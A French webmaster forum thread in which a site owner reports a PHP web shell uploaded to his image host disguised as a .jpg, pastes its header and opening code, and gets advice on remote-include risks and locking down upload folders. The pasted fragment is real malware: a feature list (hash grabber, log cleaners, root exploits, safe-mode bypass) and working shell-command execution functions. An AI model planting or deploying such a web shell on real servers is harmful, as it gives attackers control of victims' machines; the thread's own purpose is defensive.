Cheval de Troie dans fichier jpg

WRInaute discret
Bonjour,

L'un de mes sites, http://www.dofus2.org, possède un système d'hébergement d'images pour que les membres puissent en joindre aux articles qu'ils y rédigent. La fonctionnalité dispose d'un système de filtrage très sommaire puisqu'elle se contente de refuser les fichiers qui ne sont pas des .jpg, .jpeg, et .png.

En inspectant récemment mes données, j'ai constaté qu'un des fichiers était bizarre. En le consultant, j'ai eu une alerte de mon anti-virus qui m'a signalé la présence d'un cheval de troie alors que j'avais simplement visité la page contenant l'image !

En ouvrant cette image grâce à l'éditeur de texte de mon serveur, j'ai effectivement vu qu'il s'agissait d'un script de 8000 lignes. Voilà le début de ce fichier :

Code:
<?php

/******************************************************************************************
*  kurdish Shell, a modded anti-turk, which is a: $count=0; while($count==0){ echo ' mod of a'; }
*
*  VERSION 2 BITCH!!!!
*
*  By anti-turk - the 15-year-old hacker :)
*
*  Greetz to all my friends in #k.h.t
*
*  A big, fat "fuck you" to:
*   - HellBound Hackers (you're also part of the next on the list, except you can't even deface!)
*   - people who deface because they can't root and think they're 1337
*   - idiots who add mail() to their shells so they can log your ownages
*   - idiots who add mail() to their shells so they can log your ownages and mess up the variables so it doesn't even work!
*   - MPAA, RIAA, and all those other arse-hole anti-p2p organizations
* 
*  lack of money and parental freedom leaves me with no site to advertise xD
*
*
*  Newer Mods (added by me) for v2 --
+--------------------------------------------------------+
*  fixed a bug where deleting something from a path that has a space in it would return you to an invalid dir
*  fixed the *nix aliases where the cmds were in the name and the names were executed :S
*  added md5/sha1 file checksums
*  removed fgdump (no need for three programs that do the same f-ing thing :P) !!! 1 mb saved !!!
*  
*
*  Old Mods (added by me) for v1 --
+--------------------------------------------------------+
*  added the trojan executer
*  cleaned up the interface in general
*  added windows login hash grabber + sam/fg/pwdump2
*  added mass code injector (thanks SubSyn)
*  added pre-compiled h00lyshit and raptor_chown
*  added log cleaners for both *nix and windows
*  removed all the shitty/non-working functions in the drop-down boxes
*  fixed the google kernel thing (the search variables were fuxxed up)
*  made the dir listing easier to read with the alternating bgcolors
*  little optimizations in code here and there (i'm an optimization whore tbh)
*  submit md5/sha1 hash to cracking sites
*  made that awesome logo ;)
*  added the disabled php functions thing (took from r57shell)
*  added better windows/*nix-specific aliases
*  cleaned up the safe-mode bypass functions (wow, some of the shittiest code i've ever seen o_O )
*  wordlist md5/sha1 cracker
*
*  What I Plan to Do Next --
+--------------------------------------------------------+
*  smaller size (somehow) :S
*  more sploits
*  allow input for dir to unpack exploits to
*  better trojans/backdoors
*  more functions/aliases
*  maybe move stuff around/change theme
*  make the php picture in the dir listing white for easier readability
*  take a first look at the sql section o.O
*  remove:
*   - more of those stupid spaces after every line
*   - more " and change them to ' for faster execution
*   - a bunch of other stupid code things (example:  echo("$msg");  (wtf... :S))
*********************************************************/

//milw0rm search
$Lversion = php_uname(r);
$OSV = php_uname(s);
if(eregi('Linux',$OSV))
{
$Lversion=substr($Lversion,0,6);
$millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
}else{
$Lversion=substr($Lversion,0,3);
$millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
}
//End of milw0rm search


//w4ck1ng Shell
if (!function_exists('myshellexec'))
{
if(is_callable("popen")){
function myshellexec($command) {
if (!($p=popen("($command)2>&1","r"))) {
return 126;
}
while (!feof($p)) {
$line=fgets($p,1000);
$out .= $line;
}
pclose($p);
return $out;
}
}else{
function myshellexec($cmd)
{
 global $disablefunc;
 $result = '';
 if (!empty($cmd))
 {
  if (is_callable('exec') and !in_array('exec',$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  elseif (($result = `$cmd`) !== FALSE) {}
  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = '';
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}
}
}
//etc......

Le fichier continue ensuite en alternant PHP, HTML, des lignes incompréhensible et quelque chose qui m'a l'air de ressembler à du BASH...

Enfin bref, j'ai donc trois questions :
1) Comment fonctionne ce script ? Etant donné que l'extension est en .jpg, je pensais que, à moins de n'utiliser de l'url-rewriting dans un .htaccess (ce que je n'ai pas fait), que je serveur allait interpréter ça comme du simple texte à afficher et que je serais à l'abri. Donc comment se fait-il que je sois tout de même menacé ?
2) Quels sont les risques du fichier ? Aurait-il pu infiltrer mon serveur pour qu'il serve dans des attaques DDOS ou autre ? Quelles précautions dois-je prendre pour m'en assurer ?
3) Quelles précautions dois-je prendre à l'avenir pour éviter que ce type de fichiers soit uploadé ?

Merci de vos lumières :)

Si quelqu'un voudrait voir le fichier en détail, je peux l'envoyer par e-mail car il est trop gros pour entrer dans ce topic.
 
WRInaute passionné
a une époque le code php pouvait être exécuté chez OVH pour des images mais je suppose que depuis c'est résolu.

Sinon il peut utiliser le fichier hébergé chez toi pour tenter de hacker un autre site. Le principe c'est d'appeler une page avec en paramètre le nom d'un fichier pour qu'il soit exécuté comme si c'était un include php.

tu peux peut-être ajouter un contrôle que l'image ne contient pas '<? ... ?>'
 
WRInaute discret
Je suis de toute manière sur un serveur dédié et donc pas lié à l'infrastructure des mutualisés ovh.

C'est vrai que je n'avais pas pensé à l'idée d'un include externe permettant de me faire endosser l'attaque. Par contre, je ne comprend pas comment ça se fait que quand j'arrive sur la page AVEC UN NAVIGATEUR, je reçois un message de mon antivirus m'avertissant que je suis infecté par un cheval de troie. D'ailleurs, mon ordinateur ayant fait un sauvegarde des fichiers du serveur, l'antivirus a également repéré le fichier lui-même, de la sauvegarde, et m'a prié de le supprimer car il le considérait comme un cheval de troie. Comment cela est-ce donc possible de se faire attaquer par du php via un navigateur internet, sans n'avoir confirmé aucun téléchargement ?

Merci spout, je vais regarder cette histoire de mime. Par contre, pour d'autres de mes projets, j'aurais besoin d'héberger EGALEMENT des fichiers textes et là le mime ne fera pas l'affaire étant donné que le virus était justement un fichier texte. J'aimerais donc bien comprendre comment le troyen a opéré :/
 
WRInaute accro
il faut mettre ton répertoire en non exécutable et vérifier obligatoirement le contenu et pas juste avec l'extension.
Attention, le include peut aussi être effectué sur une autre partie de ton site et pas uniquement sur un site externe. Si tu ne vérifies pas les includes de ton site (n'autoriser que certains fichiers, et dans des répertoires où aucun internaute ne pourras ajouter/modifier de fichiers)
 
WRInaute discret
Merci du conseil pour l'exécutable mais cela ne m'explique toujours pas comment j'ai pu être attaqué par un virus simplement en visitant la page avec Google Chrome (???).

Oui, l'include pourrait être placé sur une autre partie de mon site... A condition que cette autre partie dispose aussi d'une faille, non ?
 
WRInaute accro
7804j a dit:
Merci du conseil pour l'exécutable mais cela ne m'explique toujours pas comment j'ai pu être attaqué par un virus simplement en visitant la page avec Google Chrome (???).
parce que ton antivirus analyse le code du jpeg comme de tout autre fichier, même si au niveau d'un navigateur il n'aurait aucune influence néfaste, mais ce fichier est potentiellement dangereux
7804j a dit:
Oui, l'include pourrait être placé sur une autre partie de mon site... A condition que cette autre partie dispose aussi d'une faille, non ?
oui
 
WRInaute passionné
J'adore ces petites racailles informatiques, y'en a qui vendent de la drogue ou qui agressent des vieilles, et puis d'autres créent des chevaux de Troie, c'est quand même un niveau supérieure d'intelligence.

->
 
WRInaute accro
7804j a dit:
Par contre, je ne comprend pas comment ça se fait que quand j'arrive sur la page AVEC UN NAVIGATEUR, Je reçois un message de mon antivirus m'avertissant que je suis infecté par un cheval de troie.
Il est fort possible que ton antivirus fasse une analyse du flux réseau et détecte a la volé la présence d'un soft via une simple signature caractéristique.
Il est aussi possible qu'il n'analyse que le flux HTTP ce qui pourrait expliquer un possible download via FTP et la détection après sur le disque local.
 
Discussions similaires
Haut